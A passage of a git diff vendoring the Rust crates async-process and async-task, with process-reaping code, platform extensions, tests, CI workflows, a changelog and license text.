a mutable reference to the inner child. + pub(crate) fn get_mut(&mut self) -> &mut std::process::Child { + self.inner.as_mut().unwrap().get_mut() + } + + /// Begin the reaping process for this child. + pub(crate) fn reap(&mut self, reaper: &'static Reaper) { + // Create a future for polling this child. + let future = { + let mut inner = self.inner.take().unwrap(); + async move { + // Increment the zombie count. + reaper.zombies.fetch_add(1, Ordering::Relaxed); + + // Decrement the zombie count once we are done. + let _guard = crate::CallOnDrop(|| { + reaper.zombies.fetch_sub(1, Ordering::SeqCst); + }); + + // Wait on this child forever. + let result = future::poll_fn(|cx| inner.poll_wait(cx)).await; + if let Err(_e) = result { + #[cfg(feature = "tracing")] + tracing::error!("error while polling zombie process: {}", _e); + } + } + }; + + // Create a function for scheduling this future. + let schedule = move |runnable| { + reaper.sender.try_send(runnable).ok(); + }; + + // Spawn the task and run it forever. + let (runnable, task) = async_task::spawn(future, schedule); + task.detach(); + runnable.schedule(); + } +} + +cfg_if::cfg_if! { + if #[cfg(target_os = "linux")] { + use async_io::Async; + use rustix::process; + use std::os::unix::io::OwnedFd; + + /// Waitable version of `std::process::Child` + struct WaitableChild { + child: std::process::Child, + handle: Async, + } + + impl WaitableChild { + fn new(child: std::process::Child) -> io::Result { + let pidfd = process::pidfd_open( + process::Pid::from_child(&child), + process::PidfdFlags::empty() + )?; + + Ok(Self { + child, + handle: Async::new(pidfd)? + }) + } + + fn get_mut(&mut self) -> &mut std::process::Child { + &mut self.child + } + + fn poll_wait(&mut self, cx: &mut Context<'_>) -> Poll> { + loop { + if let Some(status) = self.child.try_wait()? { + return Poll::Ready(Ok(status)); + } + + // Wait for us to become readable. + futures_lite::ready!(self.handle.poll_readable(cx))?; + } + } + } + + /// Tell if we are able to use this backend. + pub(crate) fn available() -> bool { + // Create a Pidfd for the current process and see if it works. + let result = process::pidfd_open( + process::getpid(), + process::PidfdFlags::empty() + ); + + // Tell if it was okay or not. + result.is_ok() + } + } else if #[cfg(windows)] { + use async_io::os::windows::Waitable; + + /// Waitable version of `std::process::Child`. + struct WaitableChild { + inner: Waitable, + } + + impl WaitableChild { + fn new(child: std::process::Child) -> io::Result { + Ok(Self { + inner: Waitable::new(child)? + }) + } + + fn get_mut(&mut self) -> &mut std::process::Child { + // SAFETY: We never move the child out. + unsafe { + self.inner.get_mut() + } + } + + fn poll_wait(&mut self, cx: &mut Context<'_>) -> Poll> { + loop { + if let Some(status) = self.get_mut().try_wait()? { + return Poll::Ready(Ok(status)); + } + + // Wait for us to become readable. + futures_lite::ready!(self.inner.poll_ready(cx))?; + } + } + } + + /// Tell if we are able to use this backend. + pub(crate) fn available() -> bool { + true + } + } +} diff --git a/lib/malio/async-process/src/unix.rs b/lib/malio/async-process/src/unix.rs new file mode 100644 index 0000000..7fc16bd --- /dev/null +++ b/lib/malio/async-process/src/unix.rs @@ -0,0 +1,102 @@ +//! Unix-specific extensions. + +use std::ffi::OsStr; +use std::io; +use std::os::unix::process::CommandExt as _; + +use cfg_if::cfg_if; + +use crate::Command; + +cfg_if! { + if #[cfg(any(target_os = "vxworks", target_os = "espidf", target_os = "horizon", target_os = "vita"))] { + type UserId = u16; + type GroupId = u16; + } else if #[cfg(target_os = "nto")] { + // Both IDs are signed, see `sys/target_nto.h` of the QNX Neutrino SDP. + // Only positive values should be used, see e.g. + // https://www.qnx.com/developers/docs/7.1/#com.qnx.doc.neutrino.lib_ref/topic/s/setuid.html + type UserId = i32; + type GroupId = i32; + } else { + type UserId = u32; + type GroupId = u32; + } +} + +/// Unix-specific extensions to the [`Command`] builder. +/// +/// This trait is sealed: it cannot be implemented outside `async-process`. +/// This is so that future additional methods are not breaking changes. +pub trait CommandExt: crate::sealed::Sealed { + /// Sets the child process's user ID. This translates to a + /// `setuid` call in the child process. Failure in the `setuid` + /// call will cause the spawn to fail. + fn uid(&mut self, id: UserId) -> &mut Command; + + /// Similar to `uid`, but sets the group ID of the child process. This has + /// the same semantics as the `uid` field. + fn gid(&mut self, id: GroupId) -> &mut Command; + + /// Performs all the required setup by this `Command`, followed by calling + /// the `execvp` syscall. + /// + /// On success this function will not return, and otherwise it will return + /// an error indicating why the exec (or another part of the setup of the + /// `Command`) failed. + /// + /// `exec` not returning has the same implications as calling + /// [`std::process::exit`] – no destructors on the current stack or any other + /// thread’s stack will be run. Therefore, it is recommended to only call + /// `exec` at a point where it is fine to not run any destructors. Note, + /// that the `execvp` syscall independently guarantees that all memory is + /// freed and all file descriptors with the `CLOEXEC` option (set by default + /// on all file descriptors opened by the standard library) are closed. + /// + /// This function, unlike `spawn`, will **not** `fork` the process to create + /// a new child. Like spawn, however, the default behavior for the stdio + /// descriptors will be to inherited from the current process. + /// + /// # Notes + /// + /// The process may be in a "broken state" if this function returns in + /// error. For example the working directory, environment variables, signal + /// handling settings, various user/group information, or aspects of stdio + /// file descriptors may have changed. If a "transactional spawn" is + /// required to gracefully handle errors it is recommended to use the + /// cross-platform `spawn` instead. + fn exec(&mut self) -> io::Error; + + /// Set executable argument + /// + /// Set the first process argument, `argv[0]`, to something other than the + /// default executable path. + fn arg0(&mut self, arg: S) -> &mut Command + where + S: AsRef; +} + +impl crate::sealed::Sealed for Command {} +impl CommandExt for Command { + fn uid(&mut self, id: UserId) -> &mut Command { + self.inner.uid(id); + self + } + + fn gid(&mut self, id: GroupId) -> &mut Command { + self.inner.gid(id); + self + } + + fn exec(&mut self) -> io::Error { + self.inner.exec() + } + + fn arg0(&mut self, arg: S) -> &mut Command + where + S: AsRef, + { + self.inner.arg0(arg); + self + } +} diff --git a/lib/malio/async-process/src/windows.rs b/lib/malio/async-process/src/windows.rs new file mode 100644 index 0000000..020a290 --- /dev/null +++ b/lib/malio/async-process/src/windows.rs @@ -0,0 +1,45 @@ +//! Windows-specific extensions. + +use std::ffi::OsStr; +use std::os::windows::io::{AsRawHandle, RawHandle}; +use std::os::windows::process::CommandExt as _; + +use crate::{Child, Command}; + +/// Windows-specific extensions to the [`Command`] builder. +/// +/// This trait is sealed: it cannot be implemented outside `async-process`. +/// This is so that future additional methods are not breaking changes. +pub trait CommandExt: crate::sealed::Sealed { + /// Sets the [process creation flags][1] to be passed to `CreateProcess`. + /// + /// These will always be ORed with `CREATE_UNICODE_ENVIRONMENT`. + /// + /// [1]: https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags + fn creation_flags(&mut self, flags: u32) -> &mut Command; + + /// Append literal text to the command line without any quoting or escaping. + /// + /// This is useful for passing arguments to `cmd.exe /c`, which doesn't follow + /// `CommandLineToArgvW` escaping rules. + fn raw_arg>(&mut self, text_to_append_as_is: S) -> &mut Command; +} + +impl crate::sealed::Sealed for Command {} +impl CommandExt for Command { + fn creation_flags(&mut self, flags: u32) -> &mut Command { + self.inner.creation_flags(flags); + self + } + + fn raw_arg>(&mut self, text_to_append_as_is: S) -> &mut Command { + self.inner.raw_arg(text_to_append_as_is); + self + } +} + +impl AsRawHandle for Child { + fn as_raw_handle(&self) -> RawHandle { + self.child.lock().unwrap().get_mut().as_raw_handle() + } +} diff --git a/lib/malio/async-process/tests/sleep.rs b/lib/malio/async-process/tests/sleep.rs new file mode 100644 index 0000000..44eea4e --- /dev/null +++ b/lib/malio/async-process/tests/sleep.rs @@ -0,0 +1,26 @@ +//! Sleep test. + +use async_process::Command; +use futures_lite::future::block_on; + +#[cfg(unix)] +#[test] +fn unix_sleep() { + block_on(async { + let status = Command::new("sleep").arg("1").status().await.unwrap(); + assert!(status.success()); + }); +} + +#[cfg(windows)] +#[test] +fn windows_sleep() { + block_on(async { + let status = Command::new("ping") + .args(["-n", "5", "127.0.0.1"]) + .status() + .await + .unwrap(); + assert!(status.success()); + }); +} diff --git a/lib/malio/async-process/tests/std.rs b/lib/malio/async-process/tests/std.rs new file mode 100644 index 0000000..ce781d1 --- /dev/null +++ b/lib/malio/async-process/tests/std.rs @@ -0,0 +1,481 @@ +//! These tests are borrowed from the `std::process` test suite. + +use std::env; +use std::io; +use std::str; + +use async_process::{Command, Output, Stdio}; +use futures_lite::{future, prelude::*}; + +#[test] +fn smoke() { + future::block_on(async { + let p = if cfg!(target_os = "windows") { + Command::new("cmd").args(["/C", "exit 0"]).spawn() + } else { + Command::new("true").spawn() + }; + assert!(p.is_ok()); + let mut p = p.unwrap(); + assert!(p.status().await.unwrap().success()); + }) +} + +#[test] +fn smoke_driven() { + future::block_on( + async { + async_process::driver().await; + } + .or(async { + let p = if cfg!(target_os = "windows") { + Command::new("cmd").args(["/C", "exit 0"]).spawn() + } else { + Command::new("true").spawn() + }; + assert!(p.is_ok()); + let mut p = p.unwrap(); + assert!(p.status().await.unwrap().success()); + }), + ) +} + +#[test] +fn smoke_failure() { + assert!(Command::new("if-this-is-a-binary-then-the-world-has-ended") + .spawn() + .is_err()); +} + +#[test] +fn exit_reported_right() { + future::block_on(async { + let p = if cfg!(target_os = "windows") { + Command::new("cmd").args(["/C", "exit 1"]).spawn() + } else { + Command::new("false").spawn() + }; + assert!(p.is_ok()); + let mut p = p.unwrap(); + assert!(p.status().await.unwrap().code() == Some(1)); + drop(p.status().await); + }) +} + +#[test] +#[cfg(unix)] +fn signal_reported_right() { + use std::os::unix::process::ExitStatusExt; + + future::block_on(async { + let mut p = Command::new("/bin/sh") + .arg("-c") + .arg("read a") + .stdin(Stdio::piped()) + .spawn() + .unwrap(); + p.kill().unwrap(); + match p.status().await.unwrap().signal() { + Some(9) => {} + result => panic!("not terminated by signal 9 (instead, {result:?})"), + } + }) +} + +pub async fn run_output(mut cmd: Command) -> String { + let p = cmd.spawn(); + assert!(p.is_ok()); + let mut p = p.unwrap(); + assert!(p.stdout.is_some()); + let mut ret = String::new(); + p.stdout + .as_mut() + .unwrap() + .read_to_string(&mut ret) + .await + .unwrap(); + assert!(p.status().await.unwrap().success()); + ret +} + +#[test] +fn stdout_works() { + future::block_on(async { + if cfg!(target_os = "windows") { + let mut cmd = Command::new("cmd"); + cmd.args(["/C", "echo foobar"]).stdout(Stdio::piped()); + assert_eq!(run_output(cmd).await, "foobar\r\n"); + } else { + let mut cmd = Command::new("echo"); + cmd.arg("foobar").stdout(Stdio::piped()); + assert_eq!(run_output(cmd).await, "foobar\n"); + } + }) +} + +#[test] +#[cfg_attr(windows, ignore)] +fn set_current_dir_works() { + future::block_on(async { + let mut cmd = Command::new("/bin/sh"); + cmd.arg("-c") + .arg("pwd") + .current_dir("/") + .stdout(Stdio::piped()); + assert_eq!(run_output(cmd).await, "/\n"); + }) +} + +#[test] +#[cfg_attr(windows, ignore)] +fn stdin_works() { + future::block_on(async { + let mut p = Command::new("/bin/sh") + .arg("-c") + .arg("read line; echo $line") + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .spawn() + .unwrap(); + p.stdin + .as_mut() + .unwrap() + .write("foobar".as_bytes()) + .await + .unwrap(); + drop(p.stdin.take()); + let mut out = String::new(); + p.stdout + .as_mut() + .unwrap() + .read_to_string(&mut out) + .await + .unwrap(); + assert!(p.status().await.unwrap().success()); + assert_eq!(out, "foobar\n"); + }) +} + +#[test] +fn test_process_status() { + future::block_on(async { + let mut status = if cfg!(target_os = "windows") { + Command::new("cmd") + .args(["/C", "exit 1"]) + .status() + .await + .unwrap() + } else { + Command::new("false").status().await.unwrap() + }; + assert!(status.code() == Some(1)); + + status = if cfg!(target_os = "windows") { + Command::new("cmd") + .args(["/C", "exit 0"]) + .status() + .await + .unwrap() + } else { + Command::new("true").status().await.unwrap() + }; + assert!(status.success()); + }) +} + +#[test] +fn test_process_output_fail_to_start() { + future::block_on(async { + match Command::new("/no-binary-by-this-name-should-exist") + .output() + .await + { + Err(e) => assert_eq!(e.kind(), io::ErrorKind::NotFound), + Ok(..) => panic!(), + } + }) +} + +#[test] +fn test_process_output_output() { + future::block_on(async { + let Output { + status, + stdout, + stderr, + } = if cfg!(target_os = "windows") { + Command::new("cmd") + .args(["/C", "echo hello"]) + .output() + .await + .unwrap() + } else { + Command::new("echo").arg("hello").output().await.unwrap() + }; + let output_str = str::from_utf8(&stdout).unwrap(); + + assert!(status.success()); + assert_eq!(output_str.trim().to_string(), "hello"); + assert_eq!(stderr, Vec::new()); + }) +} + +#[test] +fn test_process_output_error() { + future::block_on(async { + let Output { + status, + stdout, + stderr, + } = if cfg!(target_os = "windows") { + Command::new("cmd") + .args(["/C", "mkdir ."]) + .output() + .await + .unwrap() + } else { + Command::new("mkdir").arg("./").output().await.unwrap() + }; + + assert!(status.code() == Some(1)); + assert_eq!(stdout, Vec::new()); + assert!(!stderr.is_empty()); + }) +} + +#[test] +fn test_finish_once() { + future::block_on(async { + let mut prog = if cfg!(target_os = "windows") { + Command::new("cmd").args(["/C", "exit 1"]).spawn().unwrap() + } else { + Command::new("false").spawn().unwrap() + }; + assert!(prog.status().await.unwrap().code() == Some(1)); + }) +} + +#[test] +fn test_finish_twice() { + future::block_on(async { + let mut prog = if cfg!(target_os = "windows") { + Command::new("cmd").args(["/C", "exit 1"]).spawn().unwrap() + } else { + Command::new("false").spawn().unwrap() + }; + assert!(prog.status().await.unwrap().code() == Some(1)); + assert!(prog.status().await.unwrap().code() == Some(1)); + }) +} + +#[test] +fn test_wait_with_output_once() { + future::block_on(async { + let prog = if cfg!(target_os = "windows") { + Command::new("cmd") + .args(["/C", "echo hello"]) + .stdout(Stdio::piped()) + .spawn() + .unwrap() + } else { + Command::new("echo") + .arg("hello") + .stdout(Stdio::piped()) + .spawn() + .unwrap() + }; + + let Output { + status, + stdout, + stderr, + } = prog.output().await.unwrap(); + let output_str = str::from_utf8(&stdout).unwrap(); + + assert!(status.success()); + assert_eq!(output_str.trim().to_string(), "hello"); + assert_eq!(stderr, Vec::new()); + }) +} + +#[cfg(all(unix, not(target_os = "android")))] +pub fn env_cmd() -> Command { + Command::new("env") +} + +#[cfg(target_os = "android")] +pub fn env_cmd() -> Command { + let mut cmd = Command::new("/system/bin/sh"); + cmd.arg("-c").arg("set"); + cmd +} + +#[cfg(windows)] +pub fn env_cmd() -> Command { + let mut cmd = Command::new("cmd"); + cmd.arg("/c").arg("set"); + cmd +} + +#[test] +fn test_override_env() { + future::block_on(async { + // In some build environments (such as chrooted Nix builds), `env` can + // only be found in the explicitly-provided PATH env variable, not in + // default places such as /bin or /usr/bin. So we need to pass through + // PATH to our sub-process. + let mut cmd = env_cmd(); + cmd.env_clear().env("RUN_TEST_NEW_ENV", "123"); + if let Some(p) = env::var_os("PATH") { + cmd.env("PATH", p); + } + let result = cmd.output().await.unwrap(); + let output = String::from_utf8_lossy(&result.stdout).to_string(); + + assert!( + output.contains("RUN_TEST_NEW_ENV=123"), + "didn't find RUN_TEST_NEW_ENV inside of:\n\n{output}" + ); + }) +} + +#[test] +fn test_add_to_env() { + future::block_on(async { + let result = env_cmd() + .env("RUN_TEST_NEW_ENV", "123") + .output() + .await + .unwrap(); + let output = String::from_utf8_lossy(&result.stdout).to_string(); + + assert!( + output.contains("RUN_TEST_NEW_ENV=123"), + "didn't find RUN_TEST_NEW_ENV inside of:\n\n{output}" + ); + }) +} + +#[test] +fn test_capture_env_at_spawn() { + future::block_on(async { + let mut cmd = env_cmd(); + cmd.env("RUN_TEST_NEW_ENV1", "123"); + + // This variable will not be present if the environment has already + // been captured above. + env::set_var("RUN_TEST_NEW_ENV2", "456"); + let result = cmd.output().await.unwrap(); + env::remove_var("RUN_TEST_NEW_ENV2"); + + let output = String::from_utf8_lossy(&result.stdout).to_string(); + + assert!( + output.contains("RUN_TEST_NEW_ENV1=123"), + "didn't find RUN_TEST_NEW_ENV1 inside of:\n\n{output}" + ); + assert!( + output.contains("RUN_TEST_NEW_ENV2=456"), + "didn't find RUN_TEST_NEW_ENV2 inside of:\n\n{output}" + ); + }) +} + +#[test] +#[cfg(unix)] +fn child_status_preserved_with_kill_on_drop() { + future::block_on(async { + let p = Command::new("true").kill_on_drop(true).spawn().unwrap(); + + // Calling output, since it takes ownership of the child + // Child::status would work, but without special care, + // dropping p inside of output would kill the subprocess early, + // and report the wrong exit status + let res = p.output().await; + assert!(res.unwrap().status.success()); + }) +} + +#[test] +#[cfg(windows)] +fn child_as_raw_handle() { + use std::os::windows::io::AsRawHandle; + use windows_sys::Win32::System::Threading::GetProcessId; + + future::block_on(async { + let p = Command::new("cmd.exe") + .arg("/C") + .arg("pause") + .kill_on_drop(true) + .spawn() + .unwrap(); + + let std_pid = p.id(); + assert!(std_pid > 0); + + let handle = p.as_raw_handle(); + + // We verify that we have the correct handle by obtaining the PID + // with the Windows API rather than via std: + let win_pid = unsafe { GetProcessId(handle as _) }; + assert_eq!(win_pid, std_pid); + }) +} + +#[test] +#[cfg(unix)] +fn test_spawn_multiple_with_stdio() { + let mut cmd = Command::new("/bin/sh"); + cmd.arg("-c") + .arg("echo foo; echo bar 1>&2") + .stdout(Stdio::piped()) + .stderr(Stdio::piped()); + + future::block_on(async move { + let p1 = cmd.spawn().unwrap(); + let out1 = p1.output().await.unwrap(); + assert_eq!(out1.stdout, b"foo\n"); + assert_eq!(out1.stderr, b"bar\n"); + + let p2 = cmd.spawn().unwrap(); + let out2 = p2.output().await.unwrap(); + assert_eq!(out2.stdout, b"foo\n"); + assert_eq!(out2.stderr, b"bar\n"); + }); +} + +#[cfg(unix)] +#[test] +fn test_into_inner() { + futures_lite::future::block_on(async { + use crate::Command; + + use std::io::Result; + use std::process::Stdio; + use std::str::from_utf8; + + use futures_lite::AsyncReadExt; + + let mut ls_child = Command::new("cat") + .arg("Cargo.toml") + .stdout(Stdio::piped()) + .spawn()?; + + let stdio: Stdio = ls_child.stdout.take().unwrap().into_stdio().await?; + + let mut echo_child = Command::new("grep") + .arg("async") + .stdin(stdio) + .stdout(Stdio::piped()) + .spawn()?; + + let mut buf = vec![]; + let mut stdout = echo_child.stdout.take().unwrap(); + + stdout.read_to_end(&mut buf).await?; + dbg!(from_utf8(&buf).unwrap_or("")); + + Result::Ok(()) + }) + .unwrap(); +} diff --git a/lib/malio/async-task/.github/dependabot.yml b/lib/malio/async-task/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-task/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-task/.github/workflows/ci.yml b/lib/malio/async-task/.github/workflows/ci.yml new file mode 100644 index 0000000..db6437a --- /dev/null +++ b/lib/malio/async-task/.github/workflows/ci.yml @@ -0,0 +1,99 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + clippy: + uses: smol-rs/.github/.github/workflows/clippy.yml@main + with: + bench: false # We run clippy using stable rustc, but our benchmarks use #![feature(test)]. + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest] + rust: [nightly, beta, stable] + steps: + - uses: taiki-e/checkout-action@v1 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: rustup target add thumbv7m-none-eabi + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - name: Install valgrind + uses: taiki-e/install-action@valgrind + - run: cargo build --all --all-features --all-targets + if: startsWith(matrix.rust, 'nightly') + - run: cargo hack build --feature-powerset --no-dev-deps + - run: cargo hack build --feature-powerset --no-dev-deps --target thumbv7m-none-eabi --skip std,default + - run: cargo test + - name: Run cargo test (with valgrind) + run: cargo test -- --test-threads=1 + env: + # TODO: ignore possible and reachable leaks due to upstream issue (https://github.com/rust-lang/rust/issues/135608) + CARGO_TARGET_X86_64_UNKNOWN_LINUX_GNU_RUNNER: valgrind -v --error-exitcode=1 --error-limit=no --leak-check=full --show-leak-kinds=definite,indirect --errors-for-leak-kinds=definite,indirect --track-origins=yes --fair-sched=yes --gen-suppressions=all + - name: Run cargo test (with portable-atomic enabled) + run: cargo test --features portable-atomic + - name: Clone async-executor + run: git clone https://github.com/smol-rs/async-executor.git + - name: Add patch section + run: | + echo '[patch.crates-io]' >> async-executor/Cargo.toml + echo 'async-task = { path = ".." }' >> async-executor/Cargo.toml + - name: Test async-executor + run: cargo test --manifest-path async-executor/Cargo.toml + + msrv: + runs-on: ubuntu-latest + steps: + - uses: taiki-e/checkout-action@v1 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --feature-powerset --no-dev-deps --rust-version + + miri: + runs-on: ubuntu-latest + steps: + - uses: taiki-e/checkout-action@v1 + - name: Install Rust + run: rustup toolchain install nightly --component miri && rustup default nightly + - run: cargo miri test + env: + # -Zmiri-ignore-leaks is needed because we use detached threads in doctests: https://github.com/rust-lang/miri/issues/1371 + # disable preemption due to https://github.com/rust-lang/rust/issues/55005 + MIRIFLAGS: -Zmiri-strict-provenance -Zmiri-symbolic-alignment-check -Zmiri-disable-isolation -Zmiri-ignore-leaks -Zmiri-preemption-rate=0 + RUSTFLAGS: ${{ env.RUSTFLAGS }} -Z randomize-layout diff --git a/lib/malio/async-task/.github/workflows/release.yml b/lib/malio/async-task/.github/workflows/release.yml new file mode 100644 index 0000000..62438bc --- /dev/null +++ b/lib/malio/async-task/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: taiki-e/checkout-action@v1 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-task/.gitignore b/lib/malio/async-task/.gitignore new file mode 100644 index 0000000..6936990 --- /dev/null +++ b/lib/malio/async-task/.gitignore @@ -0,0 +1,3 @@ +/target +**/*.rs.bk +Cargo.lock diff --git a/lib/malio/async-task/CHANGELOG.md b/lib/malio/async-task/CHANGELOG.md new file mode 100644 index 0000000..0324dca --- /dev/null +++ b/lib/malio/async-task/CHANGELOG.md @@ -0,0 +1,112 @@ +# Version 4.7.1 + +- Improve the panic message for when a task is polled after completion. (#73) + +# Version 4.7.0 + +- Add `from_raw` and `into_raw` functions for `Runnable` to ease passing it + across an FFI boundary. (#65) + +# Version 4.6.0 + +- Bump MSRV to 1.57. (#63) +- Task layout computation failures are now a compile-time error instead of a + runtime abort. (#63) + +# Version 4.5.0 + +- Add a `portable-atomic` feature that enables the usage of fallback primitives for CPUs without atomics. (#58) + +# Version 4.4.1 + +- Clarify safety documentation for `spawn_unchecked`. (#49) + +# Version 4.4.0 + +- Ensure that the allocation doesn't exceed `isize::MAX` (#32) +- Add `FallibleTask::is_finished()` (#34) +- Add a metadata generic parameter to tasks (#33) +- Add panic propagation to tasks (#37) +- Add a way to tell if the task was woken while running from the schedule function (#42) + +# Version 4.3.0 + +- Bump MSRV to Rust 1.47. (#30) +- Evaluate the layouts for the tasks at compile time. (#30) +- Add layout_info field to TaskVTable so that debuggers can decode raw tasks. (#29) + +# Version 4.2.0 + +- Add `Task::is_finished`. (#19) + +# Version 4.1.0 + +- Add `FallibleTask`. (#21) + +# Version 4.0.3 + +- Document the return value of `Runnable::run()` better. + +# Version 4.0.2 + +- Nits in the docs. + +# Version 4.0.1 + +- Nits in the docs. + +# Version 4.0.0 + +- Rename `Task` to `Runnable`. +- Rename `JoinHandle` to `Task`. +- Cancel `Task` on drop. +- Add `Task::detach()` and `Task::cancel()`. +- Add `spawn_unchecked()`. + +# Version 3.0.0 + +- Use `ThreadId` in `spawn_local` because OS-provided IDs can get recycled. +- Add `std` feature to `Cargo.toml`. + +# Version 2.1.1 + +- Allocate large futures on the heap. + +# Version 2.1.0 + +- `JoinHandle` now only evaluates after the task's future has been dropped. + +# Version 2.0.0 + +- Return `true` in `Task::run()`. + +# Version 1.3.1 + +- Make `spawn_local` available only on unix and windows. + +# Version 1.3.0 + +- Add `waker_fn`. + +# Version 1.2.1 + +- Add the `no-std` category to the package. + +# Version 1.2.0 + +- The crate is now marked with `#![no_std]`. +- Add `Task::waker` and `JoinHandle::waker`. +- Add `Task::into_raw` and `Task::from_raw`. + +# Version 1.1.1 + +- Fix a use-after-free bug where the schedule function is dropped while running. + +# Version 1.1.0 + +- If a task is dropped or canceled outside the `run` method, it gets re-scheduled. +- Add `spawn_local` constructor. + +# Version 1.0.0 + +- Initial release diff --git a/lib/malio/async-task/Cargo.toml b/lib/malio/async-task/Cargo.toml new file mode 100644 index 0000000..1d5b092 --- /dev/null +++ b/lib/malio/async-task/Cargo.toml @@ -0,0 +1,37 @@ +[package] +name = "async-task" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v4.x.y" git tag +version = "4.7.1" +authors = ["Stjepan Glavina "] +edition = "2021" +rust-version = "1.57" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-task" +description = "Task abstraction for building executors" +keywords = ["futures", "task", "executor", "spawn"] +categories = ["asynchronous", "concurrency", "no-std"] +exclude = ["/.*"] + +[features] +default = ["std"] +std = [] + +[dependencies] +# Uses portable-atomic polyfill atomics on targets without them +portable-atomic = { version = "1", optional = true, default-features = false } + +[dev-dependencies] +atomic-waker = "1" +easy-parallel = "3" +flaky_test = "0.2" +flume = { version = "0.12", default-features = false } +futures-lite = "2.0.0" +once_cell = "1" +pin-project-lite = "0.2.10" +smol = "2" + +# rewrite dependencies to use this version of async-task when running tests +[patch.crates-io] +async-task = { path = "." } diff --git a/lib/malio/async-task/LICENSE-APACHE b/lib/malio/async-task/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-task/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following 